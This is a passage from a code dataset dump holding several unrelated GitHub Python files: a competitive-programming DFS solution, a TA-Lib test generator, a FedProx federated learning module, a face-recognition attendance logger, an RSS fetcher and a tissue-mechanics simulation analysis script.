'_model.keras')","repo_name":"tonybaloneeey/stock-predictor","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30339901071","text":"# 深さ優先探索\n\n# ようやくAC\nimport sys\nsys.setrecursionlimit(1000000)\n\nN = int(input())\nts, seq = [0]*N, []\nfor i in range(N):\n t, _, *a = map(int, input().split())\n ts[i] = t\n seq.append(list(map(lambda x: x-1, a)))\n\nTime = 0\nalready = [False] * N\ndef dfs(n):\n global Time\n if already[n]:\n return 0\n res = ts[n]\n already[n] = True\n for next in seq[n]:\n if already[next]:\n continue\n res += dfs(next)\n return res\n\nprint(dfs(N-1))\n\n# WA\n# N = int(input())\n# ts, seq = [0]*N, set()\n# for i in range(N):\n# t, _, *a = map(int, input().split())\n# ts[i] = t\n# seq |= set(map(lambda x: x-1, a))\n\n# time = ts[N-1]\n# for v in seq:\n# time += ts[v]\n\n# print(time)\n\n# TLE\n# N = int(input())\n# ts, seq = [0]*N, []\n# for i in range(N):\n# t, _, *a = map(int, input().split())\n# ts[i] = t\n# seq.append(list(map(lambda x: x-1, a)))\n\n# time = 0\n# required = [N-1]\n# already = [True] * N\n# while required and any(already):\n# now = required.pop()\n# if already[now]:\n# time += ts[now]\n# already[now] = False\n# required += seq[now] # スタックに追加\n\n# print(time)\n\n\nN = int(input())\nts, seq = [0]*N, []\nfor i in range(N):\n t, _, *a = map(int, input().split())\n ts[i] = t\n seq.append(list(map(lambda x: x-1, a)))\n\ntime = 0\nrequired = [N-1]\nalready = [False] * N\nwhile required and any(already):\n print(already)\n now = required.pop()\n if not already[now]:\n time += ts[now]\n already[now] = True\n required += seq[now] # スタックに追加\n\nprint(time)","repo_name":"kentakom1213/kyopro","sub_path":"contests/abc226/C_.py","file_name":"C_.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"70489040197","text":"#!/usr/bin/env python\n\n\"\"\"\nCreate expected indicators values using Python TA-Lib wrapper\n\"\"\"\nimport numpy as np\nimport pandas as pd\npd.options.display.max_rows = 20\nimport talib\nimport traceback\n\ndef main():\n df = pd.read_csv(\"ford_2012.csv\", index_col='Date', parse_dates='Date')\n df['Volume'] = df['Volume'].astype(np.float64)\n df.columns = [s.lower() for s in df.columns]\n print(df)\n lst_errors = []\n for i, funcname in enumerate(talib.get_functions()):\n try:\n print(\"%03d %s\" % (i, funcname))\n func = talib.abstract.Function(funcname)\n print(func.info)\n expected = func(df)\n if isinstance(expected, pd.Series):\n expected.name = \"Value\"\n expected = pd.DataFrame(expected)\n print(expected)\n print(type(expected))\n print(\"\")\n expected.to_csv(\"expected/%s.csv\" % funcname)\n except:\n print(traceback.format_exc())\n lst_errors.append(funcname)\n\n print(\"errors: %s\" % lst_errors)\n\nif __name__ == '__main__':\n main()\n","repo_name":"femtotrader/TALib.jl","sub_path":"test/create_expected.py","file_name":"create_expected.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"62"} +{"seq_id":"20283279504","text":"import libtcodpy as libtcod\nimport cfg\n\n#-------------------------------------------------------------------------------\n# Name: GameState\n# Purpose:\n#\n# Author: Michael\n#\n# Created: 13/03/2014\n# Copyright: (c) Michael 2014\n# Licence: \n#-------------------------------------------------------------------------------\n\nobjects = []\nplayer = None\nstairs = None\ninventory = []\ngame_msgs = []\ngame_state = []\ndungeon = None\nfov_map = libtcod.map_new(cfg.MAP_WIDTH,cfg.MAP_HEIGHT)\nfov_light_map = libtcod.map_new(cfg.MAP_WIDTH,cfg.MAP_HEIGHT)\nfov_recompute = False\nlighting_recompute = False","repo_name":"edrobot/PythonRoguelike_Spring-2014","sub_path":"GameState.py","file_name":"GameState.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8807607610","text":"import cv2\r\nimport numpy as np\r\nimport face_recognition\r\nimport os\r\nfrom datetime import datetime\r\nimport pyodbc\r\n\r\npath='trainimg'\r\nimages=[]\r\nimgLabel=[]\r\nmylst=os.listdir(path)\r\n\r\nfor cl in mylst:\r\n curimg=cv2.imread(f'{path}\\\\{cl}')\r\n images.append(curimg)\r\n imgLabel.append(os.path.splitext(cl)[0])\r\n\r\ndef findEncodings(images):\r\n encodLst=[]\r\n for img in images:\r\n img=cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\r\n encode=face_recognition.face_encodings(img)[0]\r\n encodLst.append(encode)\r\n return encodLst\r\n\r\nencodlstKnowFaces=findEncodings(images)\r\n\r\n\r\ndef markAttendance2(name,inTime,InDate):\r\n conn = pyodbc.connect('Driver={SQL Server};'\r\n 'Server=DESKTOP-1F0T08U;'\r\n 'Database=attendancedb;'\r\n 'Trusted_Connection=yes;')\r\n\r\n\r\n cursor = conn.cursor()\r\n \r\n sql='''insert into attendancedb.dbo.tbl_attendance (Name,InDate,InTime) values(?, ?, ?)'''\r\n\r\n val=(name,InDate,inTime)\r\n cursor.execute(sql,val)\r\n conn.commit()\r\n\r\n\r\n\r\n\r\n\r\n\r\nwebcam=cv2.VideoCapture(0)\r\nnm=\"a\"\r\n\r\nwhile True:\r\n success, img=webcam.read()\r\n imgS=cv2.resize(img,(0,0),None,0.25,0.25)\r\n imgS=cv2.cvtColor(imgS,cv2.COLOR_BGR2RGB)\r\n\r\n faceCurFrm= face_recognition.face_locations(imgS)\r\n encodeCurFrm=face_recognition.face_encodings(imgS,faceCurFrm)\r\n\r\n for encodFace, faseLocation in zip(encodeCurFrm,faceCurFrm):\r\n maches=face_recognition.compare_faces(encodlstKnowFaces,encodFace)\r\n faceDis=face_recognition.face_distance(encodlstKnowFaces,encodFace)\r\n \r\n machesIndex=np.argmin(faceDis)\r\n\r\n if maches[machesIndex]:\r\n name = imgLabel[machesIndex].upper()\r\n # print(name)\r\n y1,x2,y2,x1=faseLocation\r\n y1,x2,y2,x1 = y1*4,x2*4,y2*4,x1*4\r\n cv2.rectangle(img,(x1,y1),(x2,y2),(0,255,0),3)\r\n cv2.rectangle(img,(x1,y2-35),(x2,y2),(0,255,0),cv2.FILLED)\r\n cv2.putText(img,name,(x1+6,y2-6),cv2.FONT_HERSHEY_COMPLEX ,1,(255,255,255),2)\r\n \r\n crTime=datetime.now().time()\r\n crDate=datetime.now().date()\r\n if name!=nm:\r\n markAttendance2(name,str(crTime),str(crDate))\r\n nm=name\r\n \r\n \r\n cv2.imshow('Frame',img)\r\n if cv2.waitKey(1) & 0xFF == ord('q'): \r\n break\r\n\r\nwebcam.release()\r\ncv2.destroyAllWindows()","repo_name":"AmarShaikh/face-recognition-attendance","sub_path":"Attendance.py","file_name":"Attendance.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"30488370165","text":"from prefix_getter import PrefixGetter\nimport feedparser\nimport random\nimport time\nimport logging\nimport sys\nimport requests\nfrom io import BytesIO\n\n\nclass RSSPrefixGetter(PrefixGetter):\n\tdef __init__(self, feeds):\n\t\tself.rss_feeds = feeds\n\t\tself.logger = logging.getLogger(\"PrefixGetter\")\n\n\t\tself.feed_responses = {}\n\t\tself.index = 0\n\t\tself.posts = []\n\t\tself.num_entries = 0\n\n\tdef getFeed(self, source):\n\n\t\tif source in self.feed_responses:\n\t\t\tself.logger.info(\"getFeed: \" + source + \" already exists\")\n\n\t\t\treturn self.feed_responses[source]\n\n\t\t# Do request using requests library and timeout\n\t\tresp = requests.get(source, timeout=20.0)\n\t\tcontent = BytesIO(resp.content)\n\t\tprint(resp.content)\n\t\tself.logger.info(\"got response!\")\n\n\t\t# Parse content\n\t\tfeed = feedparser.parse(content)\n\t\tfeed_num_entries = len(feed.entries)\n\t\tself.num_entries += feed_num_entries\n\t\tself.feed_responses[source] = feed\n\t\treturn self.feed_responses[source]\n\n\tdef getPost(self):\n\t\tsource = random.choice(self.rss_feeds)\n\t\tself.logger.info(\"getPost: \" + source)\n\t\ttry:\n\t\t\tNewsFeed = self.getFeed(source) \n\n\t\t\tentry = random.choice(NewsFeed.entries)\n\n\t\t\tif self.num_entries != 0 and len(self.posts) >= self.num_entries:\n\t\t\t\tself.feed_responses = {}\n\t\t\t\tself.posts = []\n\t\t\t\tself.num_entries = 0\n\n\t\t\tif(entry['title'] in self.posts):\n\t\t\t\treturn self.getPost()\n\n\t\t\tself.posts.append(entry['title'])\n\t\t\treturn entry\n\t\texcept KeyboardInterrupt:\n\t\t\te = sys.exc_info()[0]\n\t\t\traise e\n\t\texcept: # catch all\n\t\t\te = sys.exc_info()[0]\n\t\t\tself.logger.error(e)\n\t\t\ttime.sleep(10)\n\t\t\treturn self.getPost()\n\n\tdef getPrefix(self, bot, last_message) -> str:\n\t\t\n\t\tentry = self.getPost()\n\n\t\tbot.talk(entry['link'])\n\n\t\treturn entry['title']","repo_name":"toban/telegram-gpt2","sub_path":"RSS_prefix_getter.py","file_name":"RSS_prefix_getter.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"13067892414","text":"\"\"\"\nFedProx re-implemented in the experiment framework\n\"\"\"\n\nfrom copy import deepcopy\nimport warnings\nfrom typing import List\n\nimport torch # noqa: F401\n\ntry:\n from tqdm.auto import tqdm # noqa: F401\nexcept ImportError:\n from tqdm import tqdm # noqa: F401\n\nfrom nodes import Server, Client, ServerConfig, ClientConfig, ClientMessage\nfrom optimizers import get_optimizer # noqa: F401\n\n\n__all__ = [\n \"FedProxServer\",\n \"FedProxClient\",\n \"FedProxServerConfig\",\n \"FedProxClientConfig\",\n]\n\n\nclass FedProxServerConfig(ServerConfig):\n \"\"\" \"\"\"\n\n __name__ = \"FedProxServerConfig\"\n\n def __init__(\n self,\n num_iters: int,\n num_clients: int,\n clients_sample_ratio: float,\n vr: bool = False,\n ) -> None:\n \"\"\" \"\"\"\n super().__init__(\n \"FedProx\",\n num_iters,\n num_clients,\n clients_sample_ratio,\n vr=vr,\n )\n\n\nclass FedProxClientConfig(ClientConfig):\n \"\"\" \"\"\"\n\n __name__ = \"FedProxClientConfig\"\n\n def __init__(\n self,\n batch_size: int,\n num_epochs: int,\n lr: float = 1e-3,\n mu: float = 0.01,\n vr: bool = False,\n ) -> None:\n \"\"\" \"\"\"\n super().__init__(\n \"FedProx\",\n \"FedProx\",\n batch_size,\n num_epochs,\n lr,\n mu=mu,\n vr=vr,\n )\n\n\nclass FedProxServer(Server):\n \"\"\" \"\"\"\n\n __name__ = \"FedProxServer\"\n\n def _post_init(self) -> None:\n \"\"\"\n check if all required field in the config are set,\n and compatibility of server and client configs\n\n \"\"\"\n super()._post_init()\n assert self.config.vr == self._client_config.vr\n\n @property\n def client_cls(self) -> \"Client\":\n return FedProxClient\n\n @property\n def required_config_fields(self) -> List[str]:\n \"\"\" \"\"\"\n return []\n\n def communicate(self, target: \"FedProxClient\") -> None:\n \"\"\" \"\"\"\n target._received_messages = {\n \"parameters\": deepcopy(list(self.model.parameters()))\n }\n if target.config.vr:\n target._received_messages[\"gradients\"] = [\n p.grad.detach().clone() if p.grad is not None else torch.zeros_like(p)\n for p in target.model.parameters()\n ]\n\n def update(self) -> None:\n \"\"\" \"\"\"\n # sum of received parameters, with self.model.parameters() as its container\n for param in self.model.parameters():\n param.data = torch.zeros_like(param.data)\n total_samples = sum([m[\"train_samples\"] for m in self._received_messages])\n for m in self._received_messages:\n self.add_parameters(m[\"parameters\"], m[\"train_samples\"] / total_samples)\n if self.config.vr:\n self.update_gradients()\n\n\nclass FedProxClient(Client):\n \"\"\" \"\"\"\n\n __name__ = \"FedProxClient\"\n\n @property\n def required_config_fields(self) -> List[str]:\n \"\"\" \"\"\"\n return [\n \"mu\",\n ]\n\n def communicate(self, target: \"FedProxServer\") -> None:\n \"\"\" \"\"\"\n message = {\n \"client_id\": self.client_id,\n \"parameters\": deepcopy(list(self.model.parameters())),\n \"train_samples\": len(self.train_loader.dataset),\n \"metrics\": self._metrics,\n }\n if self.config.vr:\n message[\"gradients\"] = [\n p.grad.detach().clone() for p in self.model.parameters()\n ]\n target._received_messages.append(ClientMessage(**message))\n\n def update(self) -> None:\n \"\"\" \"\"\"\n try:\n self._cached_parameters = deepcopy(self._received_messages[\"parameters\"])\n except KeyError:\n warnings.warn(\"No parameters received from server\")\n warnings.warn(\"Using current model parameters as initial parameters\")\n self._cached_parameters = deepcopy(list(self.model.parameters()))\n except Exception as err:\n raise err\n self._cached_parameters = [p.to(self.device) for p in self._cached_parameters]\n if self.config.vr:\n self._gradient_buffer = [\n gd.clone().to(self.device)\n for gd in self._received_messages[\"gradients\"]\n ]\n self.train()\n\n def train(self) -> None:\n \"\"\" \"\"\"\n self.model.train()\n with tqdm(range(self.config.num_epochs), total=self.config.num_epochs) as pbar:\n for epoch in pbar: # local update\n self.model.train()\n for X, y in self.train_loader:\n X, y = X.to(self.device), y.to(self.device)\n self.optimizer.zero_grad()\n output = self.model(X)\n loss = self.criterion(output, y)\n loss.backward()\n # TODO: add the function of variance reduction\n self.optimizer.step(self._cached_parameters)\n","repo_name":"wenh06/fl_seminar","sub_path":"code/algorithms/fedprox/_fedprox.py","file_name":"_fedprox.py","file_ext":"py","file_size_in_byte":4993,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"8114962364","text":"import logging\nimport logging.config\nimport otromod\n\n\ndef main():\n\tlogging.config.fileConfig('3-config.cfg')\n\tlogger = logging.getLogger(\"Curso\")\n\n\tlogger.info(\"Program started\")\n\tresult = otromod.add1(7, 8)\n\tlogger.info(\"Done!\")\n\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"AshidaSRS/CosasUniversidad","sub_path":"Cursos/Python/Ejemplos/libreria/logging/3-config.py","file_name":"3-config.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41987477259","text":"import numpy as np \nimport pickle\nimport matplotlib.pyplot as plt\n\n\n# Seeds for our simulations (maximum 32)\nseeds = [1,2,3,4,5]\n#seeds = [5]\nNactive = 520 # 520 cells in our lone disordered configuration, currently\n\n# Values of active myosin coupling connstant\nbetaval=['0.5']\n# Values of external pulling force\nfval=['0.0','0.05','0.1','0.15','0.2','0.3','0.4']\n\n# Clunky but correct: actual number of seeds run. Note that for the nseeds = 16, no actual T1s happen at all\n# and simulation is very nearly deterministic. N = 16 is plenty for averaging here.\nnseeds = 5*np.ones((len(betaval),len(fval))).astype(int)\n#nseeds = 1*np.ones((len(betaval),len(fval))).astype(int)\n\n# We now have a handful of crashed simulations, all at beta 1.4 \n# label: bet idx, f idx, seed idx\nbadpts=[[]]\nnbad=np.zeros((len(betaval),len(fval)))\n\n# All simulations are 800 time units long, with a spacing of 2 time unit between snapshots\n# after the first 50 snapshots (equilibration). We discard those.\nNsnap = 849\n#Tmax = 300 # up to where to analyse T1s (experimental)\nTmax = Nsnap\n# crashes, correct normalisation\nNsnapReal = np.zeros((len(betaval),len(fval),len(seeds))).astype(int)\ndt = 2\n\n# Graner coarse-grained U, P and V tensors for the whole region\nUval = np.zeros((len(betaval),len(fval),len(seeds),Nsnap,2,2))\nPval = np.zeros((len(betaval),len(fval),len(seeds),Nsnap-1,2,2))\nVval = np.zeros((len(betaval),len(fval),len(seeds),Nsnap-1,2,2))\n\n# Mean tension and myosin for the whole region\nTensavg = np.zeros((len(betaval),len(fval),len(seeds),Nsnap,2,2))\nMyoavg = np.zeros((len(betaval),len(fval),len(seeds),Nsnap,2,2))\n\n# Statistics on area, perimeter and shape factor\navArea = np.zeros((len(betaval),len(fval),len(seeds),Nsnap))\navPerim = np.zeros((len(betaval),len(fval),len(seeds),Nsnap))\navp0 = np.zeros((len(betaval),len(fval),len(seeds),Nsnap))\nnbin = 40\n\n# Distributions of shape parameter, myosin and tension\np0hist = np.zeros((len(betaval),len(fval),len(seeds),Nsnap,nbin))\nmyohist = np.zeros((len(betaval),len(fval),len(seeds),Nsnap,nbin))\ntenshist = np.zeros((len(betaval),len(fval),len(seeds),Nsnap,nbin))\n\n# total number of T1s in the simulation (from Graner statistics)\nNT1tot = np.zeros((len(betaval),len(fval),len(seeds)))\n# for the angle histograms. This appears to be -pi to pi indiscriminately\n# wrap in half\nnbin =21\nanglebin = np.linspace(0,np.pi,nbin+1)\n\n# Histogram of distributions of T1s, separated into 'all' and 'first'\nT1plus_all_hist = np.zeros((len(betaval),len(fval),nbin))\nT1min_all_hist = np.zeros((len(betaval),len(fval),nbin))\n\n\n# first T1, existence\nisT1 = np.zeros((len(betaval),len(fval),len(seeds)))\n# start of active phase in frames\nactivestart = 50\nfirstT1time = -1*np.ones((len(betaval),len(fval),len(seeds)))\n\n\n# Read in all of our pickle files and fill in statistics above\nfor b in range(len(betaval)):\n for f in range(len(fval)):\n # collecting Graner T1 statistics from time series. 'f' is for first, 'a' is for all, 'p' is for appearing junction, 'm' is for diseappearing junction\n T1palist = []\n T1malist = []\n T1pflist = []\n T1mflist = []\n for s in range(nseeds[b,f]):\n if not [b,f,seeds[s]] in badpts:\n\n ######## Graner statistics averaged data #####\n # Graner statistics output pickle files\n picklefile = './picklefiles/beta' + betaval[b] + '/fpull' + fval[f]+'/tensor_timeseries_' + str(seeds[s]) + '_Utest.p'\n print(picklefile)\n data = pickle.load(open(picklefile,'rb'))\n tval = data['tval']\n \n # Averaged tensors\n # data missing for crashed simulations (and that region is unstable)\n ngood = len(data[\"U\"])\n Uval[b,f,s,:ngood,:,:] = data[\"U\"]\n Pval[b,f,s,:ngood-1,:,:] = data[\"P\"]\n Vval[b,f,s,:ngood-1,:,:] = data[\"V\"]\n NsnapReal[b,f,s]=ngood\n # # Polarisation\n\n # T1 data\n nt1 = data['NT1']\n t1neg = data['T1angle_pos']\n t1pos = data['T1angle_neg']\n\n # Every junction counts 4 times (2 disappear from each cell, 2 appear). This is not an integer if one of the cells\n # involved is part of the boundary\n NT1tot[b,f,s] = np.sum(nt1)/4.0\n\n # T1 statistics from averaged data\n # locate first two nonzero elements\n hasT1 = np.nonzero(nt1)[0]\n if len(hasT1)>0:\n firstT1time[b,f,s]=tval[hasT1[0]]-tval[activestart]\n # might fail since it could be a junction half in half out\n try:\n T1pflist.append(t1pos[0])\n T1mflist.append(t1neg[0])\n isT1[b,f,s]=1\n except:\n print(\"half junction!\")\n # put all of the angles into the running list of T1s\n # alternative: stop at some time\n currT1s = np.cumsum(nt1)\n if Tmax < ngood:\n idmax = int(currT1s[Tmax])\n else:\n idmax = ngood\n T1palist.extend(t1pos[:idmax])\n T1malist.extend(t1neg[:idmax])\n print(len(T1palist))\n print(len(t1pos))\n print(len(t1neg))\n\n # We are collecting all the tissue statistics here\n Tensavg[b,f,s,:ngood,:,:] = data[\"Tensavg\"]\n Myoavg[b,f,s,:ngood,:,:] = data[\"Myoavg\"]\n\n # Global statistics\n avArea[b,f,s,:ngood] = data['avArea']\n avPerim[b,f,s,:ngood] = data['avPerim']\n avp0[b,f,s,:ngood] = data['avp0']\n\n # always the same, simply replace\n p0bin = data['p0bin']\n p0hist[b,f,s,:ngood,:]=data['p0hist']\n\n myobin = data['myobin']\n myohist[b,f,s,:ngood,:]=data['myohist']\n\n tensbin = data['tensbin']\n tenshist[b,f,s,:ngood,:]=data['tenshist']\n\n # wrap T1 angles into upper two quadrants\n # [f(x) if condition else g(x) for x in sequence]\n T1pflist2 = [x if x>0 else (x+np.pi) for x in T1pflist]\n T1mflist2 = [x if x>0 else (x+np.pi) for x in T1mflist]\n #T1mflist2_VAR = [x if x>0 else (x+np.pi) for x in T1mflist]\n T1palist2 = [x if x>0 else (x+np.pi) for x in T1palist]\n T1malist2 = [x if x>0 else (x+np.pi) for x in T1malist]\n #print(T1mflist)\n #print(T1mflist2)\n if b==5 and f==4:\n plt.figure()\n plt.plot(T1palist2,'.b')\n plt.plot(T1malist2,'.r')\n \n # Actual histograms. \n\n T1plus_all_hist[b,f,:],edges = np.histogram(T1palist2,bins=anglebin)\n T1min_all_hist[b,f,:],edges = np.histogram(T1malist2,bins=anglebin)\n\n # Normalisation: Divide by number of configurations, except for the 'all' counts where every T1 is in the list twice\n T1plus_all_hist[b,f,:]=T1plus_all_hist[b,f,:]/(2*(nseeds[b,f]-nbad[b,f]))\n T1min_all_hist[b,f,:]=T1min_all_hist[b,f,:]/(2*(nseeds[b,f]-nbad[b,f]))\n\n\n# Constructing appropriate edges for the two dimensional colour phase diagram plots \nfs = []\nfor f in range(len(fval)):\n fs.append(float(fval[f]))\n\nfedges=[]\ndf = fs[1]-fs[0]\nfor f in range(len(fval)):\n fedges.append(fs[f]-df/2.0)\nfedges.append(fs[f]+df/2.0)\n\n\n# Graner statistics T1 orientation plots. Does include non-central T1s for the first T1 transition\n# Switch to turn off as it's a lot of plots\nplotT1orient=False\nif plotT1orient:\n ## Supplementary?\n ## For all T1s (these are reasonably nice)\n\n # Line plots\n for f in range(len(fval)):\n plt.figure()\n color2=plt.cm.nipy_spectral(np.linspace(0,1,len(betaval)+1))\n for b,c in zip(range(len(betaval)),color2):\n if sum(isT1[b,f,:])>0:\n dang=anglebin[1]-anglebin[0]\n plt.plot(anglebin[1:]-dang/2.0,T1plus_all_hist[b,f,:],marker='o',linestyle='-',color=c,label=betaval[b])\n plt.plot(anglebin[1:]-dang/2.0,-T1min_all_hist[b,f,:],marker='o',linestyle='-',color=c)\n plt.xlabel('angle')\n plt.ylabel('All T1 orientation')\n plt.title('force ' + fval[f])\n plt.legend()\n\n\n### Paper plot\n# At Kees' request: Orientation of all T1s\n# Final version: f = 0.2, beta = 0.5\nfidx = 4\nbidx = 0\n#fidx = 4\n#bidx = 6\nplt.figure()\nax = plt.subplot(111, projection='polar')\nif sum(isT1[bidx,fidx,:])>0:\n dang=anglebin[1]-anglebin[0]\n anglebin2 = anglebin[1:]-dang/2.0+np.pi\n plt.bar(anglebin[1:]-dang/2.0,T1plus_all_hist[bidx,fidx,:],width=0.15,lw=0,edgecolor='b',color='b',alpha=0.5,label='appear')\n plt.bar(anglebin2,T1plus_all_hist[bidx,fidx,:],width=0.15,lw=0,edgecolor='b',color='b',alpha=0.5)\n plt.bar(anglebin2,T1min_all_hist[bidx,fidx,:],width=0.15,lw=0,edgecolor='r',color='r',alpha=0.5,label='disappear')\n plt.bar(anglebin[1:]-dang/2.0,T1min_all_hist[bidx,fidx,:],width=0.15,lw=0,edgecolor='r',color='r',alpha=0.5)\n plt.plot(anglebin[1:]-dang/2.0,T1plus_all_hist[bidx,fidx,:],color='b',marker='o',linestyle='none')\n plt.plot(anglebin2,T1plus_all_hist[bidx,fidx,:],color='b',marker='o',linestyle='none')\n plt.plot(anglebin2,T1min_all_hist[bidx,fidx,:],color='r',marker='*',linestyle='none')\n plt.plot(anglebin[1:]-dang/2.0,T1min_all_hist[bidx,fidx,:],marker='*',linestyle='none',color='r')\n \nplt.xlabel('angle')\nplt.ylabel('All T1 orientation')\nplt.title('force ' + fval[fidx] + ' beta ' + betaval[bidx])\nplt.legend()\n\n\n\n### In the paper, plotting results for time 400 in the end, i.e. 300 in real time units since starting activity \n# Integral, if we can identify V with dot epsilontot\n# do only over plastic time frame\nstart = 49\ndt = 2\nconvext = np.zeros((len(betaval),len(fval),5,3))\ndconvext = np.zeros((len(betaval),len(fval),5,3))\ntimes = [150,200,400,600,800]\ndav=5\nplotthis=True\nfor b in range(len(betaval)):\n if plotthis:\n plt.figure()\n color=plt.cm.nipy_spectral(np.linspace(0,1,len(fval)+1))\n for f,c in zip(range(len(fval)),color):\n epsxx0 = np.cumsum(Vval[b,f,:,start:,0,0],axis=1)*dt\n epsyy0 = np.cumsum(Vval[b,f,:,start:,1,1],axis=1)*dt\n epsxy0 = np.cumsum(Vval[b,f,:,start:,0,1],axis=1)*dt\n epsxx = np.sum(epsxx0[:nseeds[b,f],:],axis=0)/(nseeds[b,f]-nbad[b,f])\n depsxx = np.std(epsxx0[:nseeds[b,f],:],axis=0)/np.sqrt(nseeds[b,f]-nbad[b,f])\n epsxy = np.sum(epsxy0[:nseeds[b,f],:],axis=0)/(nseeds[b,f]-nbad[b,f])\n depsxy = np.std(epsxy0[:nseeds[b,f],:],axis=0)/np.sqrt(nseeds[b,f]-nbad[b,f])\n epsyy = np.sum(epsyy0[:nseeds[b,f],:],axis=0)/(nseeds[b,f]-nbad[b,f])\n depsyy = np.std(epsyy0[:nseeds[b,f],:],axis=0)/np.sqrt(nseeds[b,f]-nbad[b,f])\n if plotthis:\n tvals = dt*np.arange(start,Nsnap-1)\n plt.plot(tvals,epsxx,'-',color=c,label=fval[f])\n #plt.plot(tvals,epsxy,':',color=c)\n plt.plot(tvals,epsyy,'--',color=c)\n\n # Locate point of maximum convergence-extension and average around it\n #maxpt = np.argmax(epsyy-epsxx)\n for t in range(len(times)):\n convext[b,f,t,0] = np.average(epsxx[(times[t]-start-dav):(times[t]-start+dav)])\n dconvext[b,f,t,0] = np.average(depsxx[(times[t]-start-dav):(times[t]-start+dav)])\n convext[b,f,t,1] = np.average(epsxy[(times[t]-start-dav):(times[t]-start+dav)])\n dconvext[b,f,t,1] = np.average(depsxy[(times[t]-start-dav):(times[t]-start+dav)])\n convext[b,f,t,2] = np.average(epsyy[(times[t]-start-dav):(times[t]-start+dav)])\n dconvext[b,f,t,2] = np.average(depsyy[(times[t]-start-dav):(times[t]-start+dav)])\n\n\n if plotthis: \n plt.plot(tvals,0*tvals,'--k',lw=2)\n plt.xlabel('time')\n plt.ylabel('Total strain from V')\n plt.title('Beta =' + betaval[b])\n plt.legend()\n\n\n# Convergence-extension at time 400\n### Paper plot\nplt.figure()\ncolor3=plt.cm.nipy_spectral(np.linspace(0,1,len(betaval)+1))\nfor b,c in zip(range(len(betaval)),color3):\n plt.errorbar(fs,convext[b,:,2,0]-convext[b,:,2,2],dconvext[b,:,2,0]+dconvext[b,:,2,2],marker='o',linestyle='--',color=c,label=betaval[b])\nplt.xlabel('pulling force')\nplt.ylabel('shear strain') \nplt.title('Convergence-extension xx-yy, time 700') \nplt.legend()\n\n\n\n# Compression part \nplt.figure()\nfor b,c in zip(range(len(betaval)),color3):\n plt.errorbar(fs,convext[b,:,2,0]+convext[b,:,2,2],dconvext[b,:,2,0]+dconvext[b,:,2,2],marker='o',linestyle='--',color=c,label=betaval[b])\nplt.xlabel('pulling force')\nplt.ylabel('compression') \nplt.title('Convergence-extension xx+yy, time 700') \nplt.legend()\n\n\n\n# Finish with some pretty plots of the U, V and P\n## Final version: f = 0.125, beta = 1.0\n# NOPE: final version f = 0.15, beta = 0.8\nfidx = 4\nbidx = 0\n#fidx = 4\n#bidx = 6\nfor bidx in range(bidx,bidx+1):\n\n\n # Look for the averages and integrals\n # Mean strain U since activity was turned on \n # epsxx0 = np.cumsum(Vval[b,f,:,start:,0,0],axis=1)*dt\n start=49\n Uav = np.average(Uval[bidx,fidx,:,start:,:,:],axis=0)\n dUav = np.std(Uval[bidx,fidx,:,start:,:,:],axis=0)\n plt.figure()\n tvals = dt*np.arange(start,Nsnap)\n plt.plot(tvals,Uav[:,0,0],'-r',label='exx')\n plt.fill_between(tvals, Uav[:,0,0]-dUav[:,0,0], Uav[:,0,0]+dUav[:,0,0], color='r', alpha=.2)\n plt.plot(tvals,Uav[:,0,1],'-g',label='exy')\n plt.fill_between(tvals, Uav[:,0,1]-dUav[:,0,1], Uav[:,0,1]+dUav[:,0,1], color='g', alpha=.2)\n plt.plot(tvals,Uav[:,1,1],'-k',label='eyy')\n plt.fill_between(tvals, Uav[:,1,1]-dUav[:,1,1], Uav[:,1,1]+dUav[:,1,1], color='k', alpha=.2)\n plt.xlabel('time')\n plt.ylabel('Total strain from U')\n plt.title('beta ' +betaval[bidx] + ', force ' + fval[fidx])\n plt.legend()\n\n\n # Integral, if we can identify V with dot epsilontot\n # do only over plastic time frame\n start = 49\n epsxx0 = np.cumsum(Vval[bidx,fidx,:,start:,0,0],axis=1)*dt\n epsyy0 = np.cumsum(Vval[bidx,fidx,:,start:,1,1],axis=1)*dt\n epsxy0 = np.cumsum(Vval[bidx,fidx,:,start:,0,1],axis=1)*dt\n epsxx = np.average(epsxx0,axis=0)\n depsxx = np.std(epsxx0,axis=0)\n epsxy = np.average(epsxy0,axis=0)\n depsxy = np.std(epsxy0,axis=0)\n epsyy = np.average(epsyy0,axis=0)\n depsyy = np.std(epsyy0,axis=0)\n plt.figure()\n tvals = dt*np.arange(start,Nsnap-1)\n plt.plot(tvals,epsxx,'-r',label='exx')\n plt.fill_between(tvals, epsxx-depsxx, epsxx+depsxx, color='r', alpha=.2)\n plt.plot(tvals,epsxy,'-g',label='exy')\n plt.fill_between(tvals, epsxy-depsxy, epsxy+depsxy, color='g', alpha=.2)\n plt.plot(tvals,epsyy,'-k',label='eyy')\n plt.fill_between(tvals, epsyy-depsyy, epsyy+depsyy, color='k', alpha=.2)\n plt.xlabel('time')\n plt.ylabel('Total strain from V')\n plt.title('beta ' +betaval[bidx] + ', force ' + fval[fidx])\n #plt.ylim(-0.1,0.1)\n plt.legend()\n\n\n start = 49\n epsxx0 = np.cumsum(Pval[bidx,fidx,:,start:,0,0],axis=1)*dt\n epsyy0 = np.cumsum(Pval[bidx,fidx,:,start:,1,1],axis=1)*dt\n epsxy0 = np.cumsum(Pval[bidx,fidx,:,start:,0,1],axis=1)*dt\n epsxx = np.average(epsxx0,axis=0)\n depsxx = np.std(epsxx0,axis=0)\n epsxy = np.average(epsxy0,axis=0)\n depsxy 